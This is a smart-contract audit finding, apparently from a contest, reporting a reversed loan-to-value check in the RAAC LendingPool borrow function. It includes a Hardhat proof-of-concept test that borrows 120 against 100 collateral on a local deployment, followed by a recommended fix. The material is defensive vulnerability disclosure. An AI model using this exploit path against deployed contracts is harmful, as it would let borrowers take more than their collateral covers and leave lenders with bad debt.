Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Improper checks could put the protocol in a position of bad debt

Summary

LendingPool::borrow contains a flawed check intended to enforce a healthy loan-to-value (LTV) ratio. Due to an incorrect implementation, users can borrow up to 20% more than their deposited collateral value.

Vulnerability Details

LendingPool::borrow

function borrow(uint256 amount) external nonReentrant whenNotPaused onlyValidAmount(amount) {
... SKIP ...
// Fetch user's total debt after borrowing
@> uint256 userTotalDebt = user.scaledDebtBalance.rayMul(reserve.usageIndex) + amount;
// Ensure the user has enough collateral to cover the new debt
@> if (collateralValue < userTotalDebt.percentMul(liquidationThreshold)) {
revert NotEnoughCollateralToBorrow();
}
// Update user's scaled debt balance
uint256 scaledAmount = amount.rayDiv(reserve.usageIndex);
...SKIP...
emit Borrow(msg.sender, amount);
}

If we look at the if statement the following check is performed: if (collateralValue < userTotalDebt * 80%) revert. This effectively checks whether the collateral is at least 80% of the borrowed amount. As a result, users can borrow up to 20% more than their collateral’s value.

PoC

import { expect } from 'chai';
import hre from "hardhat";
import pkg from "hardhat";
const { network } = pkg;
const { ethers } = hre;
describe("RAAC PoC", function() {
let owner, user1, user2, user3;
let crvusd, raacNFT, raacHousePrices, stabilityPool, raacFCL, raacVault;
let lendingPool, rToken, debtToken;
let deployer;
let token;
beforeEach(async function () {
[owner, user1, user2, user3] = await ethers.getSigners();
const CrvUSDToken = await ethers.getContractFactory("crvUSDToken");
crvusd = await CrvUSDToken.deploy(owner.address);
await crvusd.setMinter(owner.address);
token = crvusd;
const RAACHousePrices = await ethers.getContractFactory("RAACHousePrices");
raacHousePrices = await RAACHousePrices.deploy(owner.address);
const RAACNFT = await ethers.getContractFactory("RAACNFT");
raacNFT = await RAACNFT.deploy(crvusd.target, raacHousePrices.target, owner.address);
stabilityPool = { target: owner.address };
const RToken = await ethers.getContractFactory("RToken");
rToken = await RToken.deploy("RToken", "RToken", owner.address, crvusd.target);
const DebtToken = await ethers.getContractFactory("DebtToken");
debtToken = await DebtToken.deploy("DebtToken", "DT", owner.address);
const RAACToken = await ethers.getContractFactory("RAACToken");
const raacToken = await RAACToken.deploy(owner.address, 100, 50);
const DEToken = await ethers.getContractFactory("DEToken");
const deToken = await DEToken.deploy("DEToken", "DEToken", owner.address, rToken.target);
const initialPrimeRate = ethers.parseUnits("0.1", 27);
const LendingPool = await ethers.getContractFactory("LendingPool");
lendingPool = await LendingPool.deploy(
crvusd.target,
rToken.target,
debtToken.target,
raacNFT.target,
raacHousePrices.target,
initialPrimeRate
);
const StabilityPool = await ethers.getContractFactory("StabilityPool");
stabilityPool = await StabilityPool.deploy(owner.address);
const RAACMinter = await ethers.getContractFactory("RAACMinter");
const raacMinter = await RAACMinter.deploy(
raacToken.target,
stabilityPool.target,
lendingPool.target,
owner.address
);
await stabilityPool.initialize(
rToken.target,
deToken.target,
raacToken.target,
raacMinter.target,
crvusd.target,
lendingPool.target
)
await rToken.setReservePool(lendingPool.target);
await debtToken.setReservePool(lendingPool.target);
await rToken.transferOwnership(lendingPool.target);
await debtToken.transferOwnership(lendingPool.target);
const mintAmount = ethers.parseEther("1000");
await crvusd.mint(user1.address, mintAmount);
await crvusd.mint(user3.address, mintAmount);
const mintAmount2 = ethers.parseEther("10000");
await crvusd.mint(user2.address, mintAmount2);
await crvusd.connect(user1).approve(lendingPool.target, mintAmount);
await crvusd.connect(user2).approve(lendingPool.target, mintAmount);
await crvusd.connect(user3).approve(lendingPool.target, mintAmount);
await raacHousePrices.setOracle(owner.address);
// FIXME: we are using price oracle and therefore the price should be changed from the oracle.
await raacHousePrices.setHousePrice(1, ethers.parseEther("100"));
await ethers.provider.send("evm_mine", []);
const tokenId = 1;
const amountToPay = ethers.parseEther("100");
await token.mint(user1.address, amountToPay);
await token.connect(user1).approve(raacNFT.target, amountToPay);
await raacNFT.connect(user1).mint(tokenId, amountToPay);
const depositAmount = ethers.parseEther("1000");
await crvusd.connect(user2).approve(lendingPool.target, depositAmount);
await lendingPool.connect(user2).deposit(depositAmount);
await ethers.provider.send("evm_mine", []);
expect(await crvusd.balanceOf(rToken.target)).to.equal(ethers.parseEther("1000"));
});
describe("PoC", function () {
it("PoC protocol allows to borrow up to 20% MORE value than the collateral", async function () {
const depositAmount = ethers.parseEther("1000");
await crvusd.connect(user2).approve(lendingPool.target, depositAmount);
await lendingPool.connect(user2).deposit(depositAmount);
const tokenId = 1;
await raacNFT.connect(user1).approve(lendingPool.target, tokenId);
await lendingPool.connect(user1).depositNFT(tokenId);
const borrowAmount = ethers.parseEther("120");
await expect(lendingPool.connect(user1).borrow(borrowAmount))
.to.not.be.revertedWithCustomError(lendingPool, "NotEnoughCollateralToBorrow");
});
});
});

Impact

The incorrect collateral check allows users to borrow excess funds, potentially leading to insolvency and bad debt accrual for the protocol.

Tools Used

VSCode, Manual Research

Recommendations

Modify the if statement in LendingPool::borrow:

- if (collateralValue < userTotalDebt.percentMul(liquidationThreshold)) {
+ if (collateralValue.percentMul(liquidationThreshold) < userTotalDebt) {
revert NotEnoughCollateralToBorrow();
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

LendingPool::borrow as well as withdrawNFT() reverses collateralization check, comparing collateral < debt*0.8 instead of collateral*0.8 > debt, allowing 125% borrowing vs intended 80%

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!